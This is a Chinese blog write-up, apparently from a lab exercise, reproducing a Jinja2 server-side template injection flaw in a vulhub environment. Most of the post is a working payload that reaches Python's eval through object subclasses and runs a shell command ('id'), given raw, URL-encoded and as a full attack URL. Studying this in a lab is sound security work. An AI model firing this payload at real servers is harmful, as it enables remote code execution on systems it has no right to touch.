SSTI服务端模板注入漏洞

漏洞复现

利用vulhub搭建靶场环境

docker-compose build
docker-compose up -d

访问http://your-ip:8000/

传入参数?name={{5*9}},可以得到如下结果,说明存在SSTI漏洞

 获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

 url编码后为

%7b%25%20for%20c%20in%20%5b%5d.__class__.__base__.__subclasses__()%20%25%7d%0a%7b%25%20if%20c.__name__%20%3d%3d%20'catch_warnings'%20%25%7d%0a%20%20%7b%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7d%0a%20%20%7b%25%20if%20b.__class__%20%3d%3d%20%7b%7d.__class__%20%25%7d%0a%20%20%20%20%7b%25%20if%20'eval'%20in%20b.keys()%20%25%7d%0a%20%20%20%20%20%20%7b%7b%20b%5b'eval'%5d('__import__(%22os%22).popen(%22id%22).read()')%20%7d%7d%0a%20%20%20%20%7b%25%20endif%20%25%7d%0a%20%20%7b%25%20endif%20%25%7d%0a%20%20%7b%25%20endfor%20%25%7d%0a%7b%25%20endif%20%25%7d%0a%7b%25%20endfor%20%25%7d

访问

http://your-ip:8000/?name=%7b%25%20for%20c%20in%20%5b%5d.__class__.__base__.__subclasses__()%20%25%7d%0a%7b%25%20if%20c.__name__%20%3d%3d%20'catch_warnings'%20%25%7d%0a%20%20%7b%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7d%0a%20%20%7b%25%20if%20b.__class__%20%3d%3d%20%7b%7d.__class__%20%25%7d%0a%20%20%20%20%7b%25%20if%20'eval'%20in%20b.keys()%20%25%7d%0a%20%20%20%20%20%20%7b%7b%20b%5b'eval'%5d('__import__(%22os%22).popen(%22id%22).read()')%20%7d%7d%0a%20%20%20%20%7b%25%20endif%20%25%7d%0a%20%20%7b%25%20endif%20%25%7d%0a%20%20%7b%25%20endfor%20%25%7d%0a%7b%25%20endif%20%25%7d%0a%7b%25%20endfor%20%25%7d

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值